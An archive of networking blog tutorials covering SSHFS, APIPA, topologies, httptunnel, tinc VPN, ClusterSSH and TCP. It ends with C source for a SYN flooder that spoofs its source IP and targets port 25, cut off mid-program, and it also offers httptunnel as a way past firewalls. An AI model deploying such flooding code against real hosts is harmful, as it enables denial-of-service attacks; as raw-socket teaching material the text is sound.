Tag Archive : network

/ network

Mounting Remote Directory Using SSHFS

December 19, 2015 | Article | No Comments

Ever heard network file system (NFS)? Yeah, that’s good.

But in this article we won’t discuss NFS, just something similar in term of access remote directory locally. SSHFS is file system over SSH. It is a mean to mount directory / partition on remote server on our local box. The cool thing is it use SSH, a Secure Shell connection, as media to transfer data. The SSH itself is secure protocol, all data transmitted / received is through encrypted channel thus the secrecy is guaranteed.

In this article, I use following to demonstrate:

Generally speaking, the Arch Linux would be installed as guest using VirtualBox. We will make sure ArchLinux has SSH server and we can login to it. Then we install SSHFS on our local / host box. All the steps then be used to mount our local box to remote box.

Our goal in this article is we can install and mount linux partition on our box.

I assume Arc linux is up and running. You can also use other Linux, as long as it can be installed SSH server.

Installation

Local

We need to install SSHFS on local. As I use ParrotSec which is Debian derivative, I invoke following command:

apt-get install sshfs

If you are using other Linux, you would achieve the same by invoking:

# ArchLinux
pacman -S sshfs fuse

# CentOS
### SSHFS is on EPEL repository so we should add EPEL first
http://ftp-stud.hs-esslingen.de/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rp
yum update
### installing SSHFS
yum install fuse-sshfs

Remote

All we need is SSH server. SSH server is used to receive ssh connection. We use OpenSSH-server here.

# Arch Linux
pacman -S openssh
systemctl start sshd

# Debian
apt-get install openssh-server
service sshd start

# CentOS
yum -y install openssh-server
chkconfig sshd on
service sshd start

Or you can install Dropbear, alternative SSH server

# Arch Linux
pacman -S dropbear
systemctl start dropbear

# Debian
apt-get install dropbear
service dropbear start

# CentOS
### dropbear is on EPEL repository so we should add EPEL first
http://ftp-stud.hs-esslingen.de/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rp
yum update
### installing dropbear
yum install dropbear
service dropbear start

Testing

Preparation

Make sure both end can ping each other. For the sake of simplicity, I will use following network situation:

local: 
IP 192.168.56.1/24
GW 192.168.56.1

remote:
IP 192.168.56.101/24
GW 192.168.56.1

Create user remote on remote server try to login from our local machine:

ssh [email protected]

Create a directory (or using existing partition) and create two files on it.

mkdir /home/remote/mydir
echo "Please read this file for me" > /home/remote/mydir/file1
touch /home/remote/mydir/file2

Next we create a directory in our local machine as a mount point.

mkdir -p /mnt/sshfs/1

Mount

Next we try to mount freshly created directory

sshfs [email protected]:/home/remote/mydir /mnt/sshfs/1 -o workaround=all,allow_other

Create/Read/Write File

As we mount it with allow_other, any user on our local box can access the file and directory mounted. Any I/O operation to them will be redirected to remote server and performed as the referred user (remote).

To prove it, read the /mnt/sshfs/1/file1 on our local box. And then write something to /mnt/sshfs/1/file2 and read /home/remote/mydir/file2 on remote server.

# Local
cat /mnt/sshfs/1/file1
echo "Xathrya has came" > /mnt/sshfs/1/file2

# Remote
cat /home/remote/mydir/file2
ls -la

See the result for yourself.

In every Windows Operating System enabled computer, there is a feature Microsoft offers which is APIPA. APIPA is a DHCP failover mechanism for local networks. With APIPA, DHCP clients can obtain IP addresses when DHCP servers are non-functional or the client couldn’t get the IP from server. APIPA exists in all modern versions of Windows except Windows NT.

When DHCP server fails, APIPA allocates IP addresses in the private range 169.254.0.1 to 169.254.255.254. This range is one of Private Network address (hence the name is Automatic Private IP Address).

The method is tested on Windows 8.1 64 bit. The method is generic one, using configuration of Registry entry.

To do, open registry edition. Before we proceed, please remember that incorrectly editing the registry may severely damage system. You can backup any valued data on your machine before making changes to the registry. You can also use the Last Know Good Configuration startup option if problems are encountered after done this guide.

On Windows Vista onward, you will face User Access Control which ask you whether you grant permission for Registry Editor. Choose yes to proceed.

In Registry Editor, navigate to the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

Now create a DWORD value (32 bit if there is both 32 and 64 bit DWORD value) with following name:

IPAutoconfigurationEnabled

Set the value to 0.

Close the Registry Editor. To make a change, restart the machine.

Introduction to Network Topology

December 11, 2015 | Article | No Comments

Network topology is a term which refer to the arrangement of various elements (links, nodes, etc.) of a computer network. Every node are arrange in structure which allows nodes to be interconnected. The structure may be depicted physically or logically. Physical topology refers to the placement of the network’s various components, including device location and cable installation. Logical topology refers to arrangement on how data flows within a network, regardless of its physical design. Distance between nodes, physical interconnections, transmission rates, and/or signal types may differ between two networks, yet their topologies may be identical.

After years of study on networking, one can mention some popular topology, based on it’s physical layout. They are:

  1. Bus topology
  2. Ring topology
  3. Star topology
  4. Tree topology
  5. Mesh topology

Aside of them, there are also a number of combination from above, which is also known as hybrid structure.

NetworkTopologies

Bus Topology

BusNetwork bus-topology

In bus topology, all nodes are connected to a single cable, known as bus. A signal from the source travels in both directions to all machines connected on the bus cable until it finds the intended recipient. In other node, if the machine address does not match the intended address for the data, the machine ignores the data.Alternatively, if the data matches the machine address, the data is accepted.

The bus topology only needs one wire. A terminator is used in both side of bus / cable, which helps to send data inside the bus. Since the bus topology consists of only one wire, it is rather inexpensive to implement when compared to other topologies. However, the cost of managing the network is rather high. It is also considered single point of failure, which means when the bus is unavailable, the network would go down.

Ring Topology

RingNetwork ring_topology

Like implied by the name, ring topology is set up in a circular form. Using this method, data travels around the ring in one direction an each device on the ring acts as a repeater to keep the signal strong as it travels. Each node can act as as receiver and transmitter, they become receiver for the incoming signal, and a transmitter to send the data on to the next node in the ring.

Every node is a critical link. When one node is down, the network would go down also.

Star Topology

StarNetwork star-topology

A network created using star topology use a single node act as central. A hub or switch is used for this function. They are then connected point-to-point with other node the member of the network. If we see this as server-client architecture, we can see the switch is the server and the peripherals or other nodes are the clients.

All traffic that traverses the network passes through the central switch. Switch then multiplex the data and send / relay the data to the destination, based on their address.

The network does not necessarily have to resemble a star to be classified as star network, but all the nodes on the network must be connected to one central point.

The star topology is considered the easiest topology. The primary advantage of this topology is the modularity. Adding and removing nodes is really simple. However, the switch (the center node) itself is very critical, represents a single point of failure.

Tree Topology

TreeNetwork

This is rather complex topology, based on arranging nodes in hierarchical system. Like any tree concept, in tree network exist a single, ‘root’ node. This node connected either a single (or multiple) node(s) in the level below by point-to-point link. These lower level nodes are also connected to a single or multiple nodes in the next level doen.

Tree networks are constrained to any number of levels. But as tree networks are a variant of the bus network topology, they are prone to crippling network failures when the higher level of nodes fail or suffer damage. Each nodes has a specific, fixed number of nodes connected to it at the next lower level in the hierarchy. This number is referred to ‘branching factor’ of the tree.

  1. A network that is based upon the physical hierarchical topology must have at least three levels in the hierarchy of the tree, since a network with a central ‘root’ node and only one hierarchical level below it would exhibit the physical topology of a star.
  2. A network that is based upon the physical hierarchical topology and with a branching factor of 1 would be classified as a physical linear topology.
  3. The branching factor, f, is independent of the total number of nodes in the network and, therefore, if the nodes in the network require ports for connection to other nodes the total number of ports per node may be kept low even though the total number of nodes is large – this makes the effect of the cost of adding ports to each node totally dependent upon the branching factor and may therefore be kept as low as required without any effect upon the total number of nodes that are possible.
  4. The total number of point-to-point links in a network that is based upon the physical hierarchical topology will be one less than the total number of nodes in the network.
  5. If the nodes in a network that is based upon the physical hierarchical topology are required to perform any processing upon the data that is transmitted between nodes in the network, the nodes that are at higher levels in the hierarchy will be required to perform more processing operations on behalf of other nodes than the nodes that are lower in the hierarchy. Such a type of network topology is very useful and highly recommended.

Mesh Topology

In Mesh topology, each node must not only capture and disseminate its own data, but also serve as a replay for other nodes. That is, it must collaborate to propagate the data in the network.

The self-healing capability of mesh enables a routing based network to operate when one node breaks down or a connection goes bad. As a result, the network is typically quite reliable, as there is often more than one path between a source and a destination in the network.

Mesh network can be divided into two categories: partially connected mesh and fully connected mesh.

Partially connected

In this type of network topology, some of the nodes are connected to more than one other node in the network with a point-to-point link.

NetworkTopology-Mesh

Fully connected

A fully connected mesh is a mesh with complete arc from one node to all remaining nodes. This means each of the nodes is connected to each other. No switching nor broadcasting need as every node know all peer. However, the number of connections grows quadratically with the number of nodes.

connections = node * (node - 1) / 2

This topology is impractical for large-scale network.

NetworkTopology-FullyConnected

Install and Configure httptunnel

December 9, 2015 | Article | No Comments

httptunnel is free software that allows one to create a bi-directional tunnel encapsulated by HTTP, between client and server. The HTTP requests can be sent via an HTTP proxy if so desired. HTTP-encapsulated tunnels are useful behind restrictive network. If WWW access is allowed through a HTTP proxy, it’s possible to use httptunnel and, say, telnet or PPP to connect to a computer outside the firewall.

A common example of using this method is for using games, IM clients, or P2P sharing applications across restrictive firewalls or proxies which tend to block pretty much everything except well known traffic such as HTTP traffic.

httptunnel consists of hts (server) and htc (client) components to establish HTTP tunnels in between.

Installation

Linux Package Manager Way

For Debian or its derivatives system (Ubuntu, Linux Mint):

sudo apt-get install httptunnel

For Red Hat or derivatives system (Fedora, CentOS, Scientific Linux, etc), you should set up Repoforge repository first and then do:

sudo yum install httptunnel

Windows Way

Binary for Windows are provided by some contributors.

For Windows NT, you can go to here.

For WIN32, you can go to here.

Generic Way

Download the latest stable httptunnel source code (version 3.0.5) httptunnel-3.0.5.tar.gz

Extract the source code from archive, and do usual routine:

tar -xf httptunnel-3.0.5.tar.gz
cd httptunnel-3.0.5
./configure
make
make install

Set Up HTTP Tunnel

As stated before, there are two parties for a connection, which is http server and http client. Therefore, we need to configure both side. Of course, both should have httptunnel installed.

Server Side

hts -F <server_ip_addr>:<port_of_your_app> 80

The above command tells hts to listen on port 80 and redirect all traffic received on port 80 to ,port_of_your_app>

Client Side

htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80

The above command tells htc to receive traffic on localhost:<port_of_your_app>, which then is redirected to <server_ip_addr>:80, optionally via proxy (in case the client is behind HTTP proxy).

At this point, the application instances running on two end hosts can communicate with each other transparently via an HTTP tunnel.

There are cases where we want to create more than one VPN tunnels between a pair of hosts. Well this is possible and this is what we want to discuss in this article.

Why Multiple Tunnels?

As the question goes, why?

With multiple tunnels, you could use each tunnel for a different purpose, achieving full isolation among traffic belonging to different tunnels. Depending on which tunnel traffic goes through, you could even apply different QoS or security policies to the underlying traffic.

Scenario

In this example, we will create two VPN tunnels between hosts Alice and Bob. Assuming that Alice serves as a tinc VPN bootstrapping point, while Bob initiates a connection to Alice. Two VPNs created between Alice and bob are named vpn1 and vpn2.

Configuration

In tinc, one tinc daemon can only manage one VPN. This means that if you want to create multiple tunnels between two hosts, you need to run as many tinc daemons on each host.

To a basic set up, you can follow this article in the configuration section.

Create VPN Configuration

Using the guide above, create two separate tinc VPNs named vpn1 and vpn2. If you follow the tinc configuration instruction, two sets of tinc configuration files will be stored in /etc/tinc/vpn1 and /etc/tinc/vpn2. Make sure to use two distinct tinc interface names (e.g., tun0, tun1) as well as two different subnets for these two VPNs.

Specifying Port

By default, listens on port 655 for incoming connections. Thus we cannot run more than one tinc daemons with the default port setting. For two VPNs vpn1 and vpn2, you can use the default port for one VPN (e.g., vpn1), but need to use another port for the other VPN (e.g., vpn2). Therefore, we need to configure a port number to use for vpn2 (in our scenario).

On both hosts alice and bob, append the following in /etc/tinc/vpn2/hosts/alice and /etc/tinc/vpn2/hosts/bob. The port number can be anything other than tinc’s default port number 655.

Port = 700

Make sure the port is available.

Starting tinc

Once tinc configurations are done, start two tinc daemons on each host as follows (using root privileges):

tincd --net=vpn1
tincd --net=vpn2

Install and Configure tinc VPN

December 9, 2015 | Article | 1 Comment

tinc is an open-source VPN daemon that uses tunnelling and encryption to create a secure private network between hosts on the internet. Because the VPN appears to the IP level network code as a normal network device, there is no need to adapt any existing software. This allows VPN sites to share information with each other over the Internet without exposing any information to others.

tinc comes with a number of powerful features not found in other VPN solutions.  For example, tinc allows peers behind NAT to communicate with one another via VPN directly, not through a third party.  Other features include full IPv6 support and path MTU discovery. For a complete list, you should go to tinc official site.

Scenario

Unlike any other article, we will use a scenario to illustrate the case we use in this article.

In this article, we will set up a VPN connection between two hosts via tinc. Let’s call these hosts as “Alice” and “Bob”. We also assume that Bob will initiate a VPN connection to host “alice”.

Installation

First, install tinc on both hosts.

Linux Package Manager Way

For Debian or its derivatives system (Ubuntu, Linux Mint):

sudo apt-get install tinc

For Red Hat or derivatives system (Fedora, CentOS, Scientific Linux, etc), you should set up Repoforge repository first and then do:

sudo yum install tinc -y

Windows Way

For a Windows system (Windows XP/Vista/7/8), there is an installation file you can use. The latest version you can find is 1.0.22.

Download and execute the file, here.

Mac OS Way

The recommended methods to install tinc on Mac OS is using macports port system. he MacPorts Project is an open-source community initiative to design an easy-to-use system for compiling, installing, and upgrading either command-line, X11 or Aqua based open-source software on the MacOSX operating system. Macports is recommended because it does not modify your system files. It keeps itself separate from your system.

XCode is required prerequisite. It must be installed before installing Macports. Download and install the Macports system from MacForge.

  • XCode (requires free online ADC Membership); it can also be obtained from original OSX installation DVD
  • Macports

After Macports is installed, close and reopen your terminal. Update the ports system and ports list.

sudo port selfupdate
sudo port sync

Then you can install tinc and all necessary dependencies by:

sudo port install tinc

All configuration files are located in /opt/local/etc/tinc.

Configuration

For each host, create a directory for tinc.

Alice machine

mkdir -p /etc/tinc/myvpn/hosts

Then create a file /etc/tinc/myvpn/tinc.conf with following data:

Name = alice
AddressFamily = ipv4
Interface = tun0

The above example create a “session” under name “myvpn”. This is the name of the VPN network to established between Alice and Bob on this scenario. VPN name can be any alphanumeric name without containing “-”. In tinc.conf example, “Name” field indicates the name of tinc-running local host, which doesn’t have to be actual hostname. You can choose any generic name.

Next, create host configuration files which contain host-specific information on /etc/tinc/myvpn/hosts/alice with following text:

Address = 1.2.3.4
Subnet = 10.0.0.1/32

The name of host configuration file (e.g., alice) should be the same as the one you defined in tinc.conf. The “Address” field indicates a globally routable public IP address associated with alice. This field is required for at least one host in a given VPN network so that other hosts can initiate VPN connections to it. In this example, alice will serve as the bootstrapping server, and so has a public IP address (e.g., 1.2.3.4). The “Subnet” field indicates the VPN IP address to be assigned to alice.

Next, generate public/private pair keys (using root privileges):

tincd -n myvpn -K4096

The above command will generate 4096-bit public/private keys for host “alice”. The private key will be stored as /etc/tinc/myvpn/rsa_key.priv, and the public key will be appended to /etc/tinc/myvpn/hosts/alice.

Next, configure the scripts that will be run right after tinc daemon gets started, as well as right before tinc daemon is terminated. Make sure you have them executable by chmod to 755.

Create /etc/tinc/myvpn/tinc-up for startup script:

#!/bin/sh
ifconfig $INTERFACE 10.0.0.1 netmask 255.255.255.0

Create /etc/tinc/myvpn/tinc-down for shutdown script:

#!/bin/sh
ifconfig $INTERFACE down

Bob Machine

mkdir -p /etc/tinc/myvpn/hosts

Then create a file /etc/tinc/myvpn/tinc.conf with following data:

Name = bob
AddressFamily = ipv4
Interface = tun0
ConnectTo = alice

Similar to Alice machine, we create a configuration for Bob. However, we remember that in this scenario Bob is initiating connection to Alice. Therefor, we put “ConnectTo” field to connect to Alice machine.

Create a file /etc/tinc/myvpn/hosts/bob with following data:

Subnet = 10.0.0.2/32

Then create a private/public key pair (using root privileges):

tincd -n myvpn -K4096

This will store the Bob’s private key as /etc/tinc/myvpn/rsa_key.priv and its public will be added to /etc/tinc/myvpn/hosts/bob.

We also need to create two script similar to alice, namely /etc/tinc/myvpn/tinc-up and /etc/myvpn/tinc-down.

On /etc/tinc/myvpn/tinc-up, write:

#!/bin/sh
ifconfig $INTERFACE 10.0.0.2 netmask 255.255.255.0

On /etc/tinc/myvpn/tinc-down, write:

#!/bin/sh
ifconfig $INTERFACE down

Make sure both script are executable.

Copying Both Key

Next we need to copy each host’s public key file into other host. This way, both party can connect into a VPN network.

On Alice:

scp /etc/tinc/myvpn/hosts/alice [email protected]:/etc/tinc/myvpn/hosts/

On Bob:

scp /etc/tinc/myvpn/hosts/bob [email protected]:/etc/tinc/myvpn/hosts/

Creating Connection

After finishing the configuration, you should be able to create a connection. Based on our scenario, since Bob initiates a VPN connection, you need to start tinc daemon on Alice first and then Bob. Both are using same command (use root privileges):

tincd -n myvpn

Running Command on Multiple Servers at Once

December 9, 2015 | Article | No Comments

Maintaining multiple servers is not an easy job. There are cases where you want to run the same command(s) on all the servers. For example, you may want to install/upgrade packages, patch the kernel, update configuration, etc. It would be tedious if you have to log in to each server and run the same routine manually.

In this article, we will discuss a way to log in to some server and run the same command on many different machines at once.

In this article, I use:

  1. Slackware64 14.0 as client machine
  2. Ubuntu 12.10 as client machine
  3. Fedora 17 as client machine
  4. ClusterSSH

ClusterSSH

The administrative tool we have is ClusterSSH. It provides a special console interface where anything you type into the console is automatically sent to as many hosts as you want.

You might visit the official ClusterSSH site for more information.

Installation

Package Manager Way

To install ClusterSSH on Ubuntu, Debian or Linux Mint you can use following command:

sudo apt-get install clusterssh

To install ClusterSSH on CentOS or RHEL, first you need to set up EPEL repository, and then run the following:

sudo yum install clusterssh

Generic Way

Installing ClusterSSH from source is really simple. We will cover how to install ClusterSSH in generic way so we can apply it to various OS.

Clone the source code.

git clone git://github.com/duncs/clusterssh

Or you can download the source code from sourceforge: here

I will focus on the source code cloned from github.

Go to the source code root directory.

First, build the ClusterSSH. ClusterSSH use a perl-based script to configure itself.

perl Build.PL

At some points, ClusterSSH need dependencies that might not installed on your system. To install the dependencies, do following:

./Build installdeps

Once the dependencies are fulfilled, next invoke following commands:

./Build
./Build test
./Build install

Configure ClusterSSH

Once installation finished, the first step is to define a cluster of hosts that you want to run commands on. To do that, create a system-wide ClusterSSH configuration as /etc/clusters and write following:

clusters = my_cluster my_cluster2
my_cluster = host1 host2 host3 host4
my_cluster2 = host5 host6

A cluster is a group of hosts which you want to log in to, and run commands on. Here we specify two clusters: my_cluster and my_cluster2 with respective machine there. Of course the host1 is the host in hostname or IP address format.

If you want a user-specific ClusterSSH configuration, simply use ~/.csshrc instead of /etc/clusters.

When you launch ClusterSSH with any user-defined cluster, it will use ssh to log in to individual hosts in the cluster, and run any user-typed commands on the hosts.

Launch ClusterSSH

To launch ClusterSSH, run cssh command as follows:

cssh -l userid my_cluster

Where “userid” is a login ID for all the hosts in the cluster, and “my_cluster” is the cluster name.

If you want, you can specify individual hostnames instead of the cluster name.

cssh -l userid host1 host2 host3

Once cssh command is executed, it will pop up XTerm windows for individual hosts, as well as a small window labeled “CSSH [2]“, which is ClusterSSH console window. Whatever you type in the console window will simultaneously appear in the XTerm windows of individual hosts. Essentially, you control all XTerm windows via the single console window.

If you want to run some commands to a specific XTerm window, you can simply switch focus to the Xterm window, and type the commands as you usually would.

The following screenshot shows ClusterSSH in action, where there are five hosts in the cluster, and the console window in the upper left corner is where you are supposed to type the commands to run on all five hosts.

Troubleshoot

This is the troubleshoot which come to me, so I won’t cover all possible troubleshoot. You can conform on ClusterSSH page for more information.

No X11-Protocol Perl Module

If you have following error message when execute cssh:

Can't locate X11/Protocol.pm in @INC (@INC contains: /usr/local/bin/../lib/perl5 /usr/local/bin/../lib /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at /usr/local/share/perl5/App/ClusterSSH.pm line 29.
BEGIN failed--compilation aborted at /usr/local/share/perl5/App/ClusterSSH.pm line 29.
Compilation failed in require at /usr/local/bin/cssh line 11.
BEGIN failed--compilation aborted at /usr/local/bin/cssh line 11.

Then you possibly don’t install X11-Protocol perl module.

Download the packages on http://search.cpan.org/CPAN/authors/id/S/SM/SMCCAM/X11-Protocol-0.56.tar.gz

You can follow guide on how to install perl modules by:

tar -xzvf X11-Protocol-0.56.tar.gz
cd X11-Protocol-0.56
perl Makefile.PL
make
make test
make install

Transmission Control Protocol

December 9, 2015 | Article | 2 Comments

The Transmission Control Protocol (TCP) is one of the core protocols of the Internet protocol suite (IP), and is so common that the entire suite is often called TCP/IP. TCP provides reliable, ordered, error-checked delivery of a stream of octets between programs running on computers connected to a local area network, intranet or the public Internet. It resides at the transport layer (4th layer).

TCP is a transport layer protocol. It provides feature of flow control, segmentation/desegmentation, and error control of a packet. TCP also have job to multiplex a packet data to corresponding application which listen to certain port.

Connection Establishment

TCP Handshake is a term refer to a procedure for connection initiation between two nodes. As stated before, a TCP is connection oriented protocol. Therefore, a send-receive operation should be done on open session, or in short a connection must be properly established before data transfer can be made.

TCP connection is managed by an operating system through a programming interface that represents the local end-point for communications, the Internet socket.

To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:

  1. SYN: The active open is performed by the client sending a SYN to the server. The client sets the segment’s sequence number to a random value A.
  2. SYN-ACK: In response, the server replies with a SYN-ACK. The acknowledgment number is set to one more than the received sequence number i.e. A+1, and the sequence number that the server chooses for the packet is another random number, B.
  3. ACK: Finally, the client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A+1, and the acknowledgement number is set to one more than the received sequence number i.e. B+1.

At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established.

Connection Termination

The connection termination phase uses a four-way handshake, with each side of the connection terminating independently. When an endpoint wishes to stop its half of the connection, it transmits a FIN packet, which the other end acknowledges with an ACK. Therefore, a typical tear-down requires a pair of FIN and ACK segments from each TCP endpoint. After both FIN/ACK exchanges are concluded, the side which sent the first FIN before receiving one waits for a timeout before finally closing the connection, during which time the local port is unavailable for new connections; this prevents confusion due to delayed packets being delivered during subsequent connections.

A connection can be “half-open”, in which case one side has terminated its end, but the other has not. The side that has terminated can no longer send any data into the connection, but the other side can. The terminating side should continue reading the data until the other side terminates as well.

It is also possible to terminate the connection by a 3-way handshake, when host A sends a FIN and host B replies with a FIN & ACK (merely combines 2 steps into one) and host A replies with an ACK.This is perhaps the most common method.

It is possible for both hosts to send FINs simultaneously then both just have to ACK. This could possibly be considered a 2-way handshake since the FIN/ACK sequence is done in parallel for both directions.

Data Processing in TCP

Transmission Control Protocol accepts data from a data stream, divides it into chunks, and adds a TCP header creating a TCP segment. The TCP segment is then encapsulated into an Internet Protocol (IP) datagram, and exchanged with peers.

For example case, if you have a data like this:

................................

our node, receiver node, or intermediate node who route the packet might not have the same size in bandwidth. Therefore it should be divided into chunks. TCP should know how much datagram can be handle by your network. Let say, it will divide data into following:

....  ....  ....  ....  ....  ....  ....  ....

TCP then append a header in the front of each datagram. Let T become the TCP header, our datagram would be:

T....  T....  T....  T....  T....  T....  T....  T....

TCP Segment Structure

When a TCP segment is formed, each TCP segment will have following structure:

tcp

Port

Source port and destination port is a port number on source node (sender) and destination node (receiver), respectively. They are 16-bit unsigned integer which numbered from 0-65535.

Sequence number

A 32 bits data.

A sequence number entry has dual role.

  • If the SYN flag is set (1), then this is the initial sequence number. The sequence number of the actual data byte and the acknowledged number in the corresponding ACK are then this sequence number + 1
  • If the SYN flag is clear (0), then this is the accumulated sequence number of the frist data byte of this segment for the current session.

A sequence number is used so a receiver end can assembly all segments to same data. This will ensure that both data sent and received on both end are same, in same order without wrong position. The sequence number is 32-bit. The numbering is based on which octet the data is. Therefore, if data is divided into 500 octet per segment, the sequence number would be 0 for first segment, 500 for second segment, 1000 for third segment, and so on.

Acknowledgment number

A 32 bits data. If the ACK flag is set then the value of this field is the next sequence number that the receiver is expecting. The first ACK sent by each end acknowledges the other end’s initial sequence number itself, but no data.

Data offset

A 4 bits data. Data offset is a number which specifying the size of TCP header in 32-bit words. The minimum size of header is 5 words and the maximum is 15 words thus giving the minimum size of 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of options in the header. This field gets its name from the fact that it is also the offset from the start of the TCP segment to the actual data.

Reserved

A 3 bits data. This field is reserved for future use and should be set to zero.

Flags

A 9 bits data. This fields has 9 flag defined which has 1 bit each. The flags are:

  1. NS – ECN-nonce concealment protection
  2. CWR – Congestion Window Reduced (CWR) flag is set by the sending host to indicate that it received a TCP segment with the ECE flag set and had responded in congestion control mechanism.
  3. ECE – ECN echo indicates:
    1. If the SYN flag is set (1), that the TCP peer is ECN capable
    2. If the SYN flag is clear (0), that a packet with Congestion Experienced flag in IP header is received during normal transmission
  4. URG – Indicates that the Urgent pointer field is significant
  5. ACK – Indicates that the Acknowledgment field is significant. All packets after the initial SYN packet sent by the client should have this flag set.
  6. PSH – Push function. Asks to push the buffered data to the receiving application.
  7. RST – Reset the connection
  8. SYN – Synchronize sequence numbers. Only the first packet sent from each end should have this flag set. Some other flags change meaning based on this flag, and some are only valid for when it is set, and others when it is clear.
  9. FIN – No more data from sender

Window size

A 16 bits data which defines the size of the receive window, which specifies the number of window size units (by default, bytes) (beyond the sequence number in the acknowledgment field) that the sender of this segment is currently willing to receive

Checksum

A 16 bits data used for error checking of the header and data.

A checksum is a number computed from all datagram. When a segment is received on the other node, a data checksum is recomputed and then compared to checksum entry in the header. If the calculation match indicating the segment has not been altered or arrive safe on destination. If not, TCP will ask for retransmission.

Urgent pointer

A 16 bits data. If the URG flag is set, then this 16-bit field is an offset from the sequence number indicating the last urgent data byte

Options

A variable length data which can have 0-320 bits, divisible by 32.

The length of this field is determined by the data offset field. Options have up to three fields: Option-Kind (1 byte), Option-Length (1 byte), Option-Data (variable). The Option-Kind field indicates the type of option, and is the only field that is not optional. Depending on what kind of option we are dealing with, the next two fields may be set: the Option-Length field indicates the total length of the option, and the Option-Data field contains the value of the option, if applicable. For example, an Option-Kind byte of 0x01 indicates that this is a No-Op option used only for padding, and does not have an Option-Length or Option-Data byte following it. An Option-Kind byte of 0 is the End Of Options option, and is also only one byte. An Option-Kind byte of 0x02 indicates that this is the Maximum Segment Size option, and will be followed by a byte specifying the length of the MSS field (should be 0x04). Note that this length is the total length of the given options field, including Option-Kind and Option-Length bytes. So while the MSS value is typically expressed in two bytes, the length of the field will be 4 bytes (+2 bytes of kind and length). In short, an MSS option field with a value of 0x05B4 will show up as (0x02 0x04 0x05B4) in the TCP options section.

Padding

The TCP header padding is used to ensure that the TCP header ends and data begins on a 32 bit boundary. The padding is composed of zeros.

TCP Segment in Low Level Socket Programming

Only processes with an effective user ID of 0 or the CAP_NET_RAW capability are allowed to open raw sockets.

The basic concept of low level sockets is to send a single packet at one time with all the protocol headers filled in by the program instead of the kernel. Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we’ll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

To inject our own packets, all we need to know is the structures of the protocols that need to be included (we have cover it above). In programming, the packet is represented as a structure of data. Code below is taken from Linux header, netinet/tcp.h:

/**
 * TCP header.
 * Per RFC 793, September 1981.
 */
// This is BSD'ish TCP Header

struct tcphdr
  {
    u_int16_t th_sport;         /* source port */
    u_int16_t th_dport;         /* destination port */
    tcp_seq th_seq;             /* sequence number */
    tcp_seq th_ack;             /* acknowledgement number */
#  if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t th_x2:4;           /* (unused) */
    u_int8_t th_off:4;          /* data offset */
#  endif
#  if __BYTE_ORDER == __BIG_ENDIAN
    u_int8_t th_off:4;          /* data offset */
    u_int8_t th_x2:4;           /* (unused) */
#  endif
    u_int8_t th_flags;
#  define TH_FIN        0x01
#  define TH_SYN        0x02
#  define TH_RST        0x04
#  define TH_PUSH       0x08
#  define TH_ACK        0x10
#  define TH_URG        0x20
    u_int16_t th_win;           /* window */
    u_int16_t th_sum;           /* checksum */
    u_int16_t th_urp;           /* urgent pointer */
};

The struct is self explained if you have read the previous section.

Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s). We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder). Please note that following snippet also has low level IP packet construction which is not defined on this article.

#define __USE_BSD	/* use bsd'ish ip header */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD	/* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>

#define P 25		/* lets flood the sendmail port */

unsigned short		/* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

int 
main (void)
{
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */
  char datagram[4096];	/* this buffer will contain ip header, tcp header,
			   and payload. we'll point an ip header structure
			   at its beginning, and a tcp header structure after
			   that to write the header values into it */
  struct ip *iph = (struct ip *) datagram;
  struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  struct sockaddr_in sin;
			/* the sockaddr_in containing the dest. address is used
			   in sendto() to determine the datagrams path */

  sin.sin_family = AF_INET;
  sin.sin_port = htons (P);/* you byte-order >1byte header values to network
			      byte order (not needed on big endian machines) */
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

  memset (datagram, 0, 4096);	/* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);	/* no payload */
  iph->ip_id = htonl (54321);	/* the value doesn't matter here */
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;		/* set it to 0 before computing the actual checksum later */
  iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  tcph->th_sport = htons (1234);	/* arbitrary port */
  tcph->th_dport = htons (P);
  tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  tcph->th_x2 = 0;
  tcph->th_off = 0;		/* first and only tcp segment */
  tcph->th_flags = TH_SYN;	/* initial connection request */
